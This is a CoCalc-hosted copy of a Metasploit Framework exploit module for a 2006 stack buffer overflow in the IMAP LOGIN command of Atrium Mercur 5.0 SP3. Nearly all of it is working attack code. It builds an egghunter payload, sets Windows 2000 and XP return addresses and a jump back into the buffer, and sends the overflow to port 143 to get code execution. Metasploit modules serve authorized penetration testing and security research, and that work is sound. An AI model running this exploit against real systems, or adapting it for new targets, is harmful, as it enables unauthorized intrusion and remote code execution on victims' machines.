CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mercur_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
17
Since the room for shellcode is small, using the reverse ordinal payloads
18
yields the best results.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2006-1255' ],
25
[ 'OSVDB', '23950' ],
26
[ 'BID', '17138' ],
27
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 228,
37
'BadChars' => "\x00\x20\x2c\x3a\x40",
38
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
44
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],
45
],
46
'DisclosureDate' => '2006-03-17',
47
'DefaultTarget' => 0))
48
49
register_options( [ Opt::RPORT(143) ])
50
end
51
52
def exploit
53
connect
54
sock.get_once
55
56
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
57
egg = hunter[1]
58
59
sploit = "A001 LOGIN " + egg + hunter[0]
60
sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')
61
62
print_status("Trying target #{target.name}...")
63
sock.put(sploit + "\r\n")
64
65
handler
66
disconnect
67
end
68
end
69
70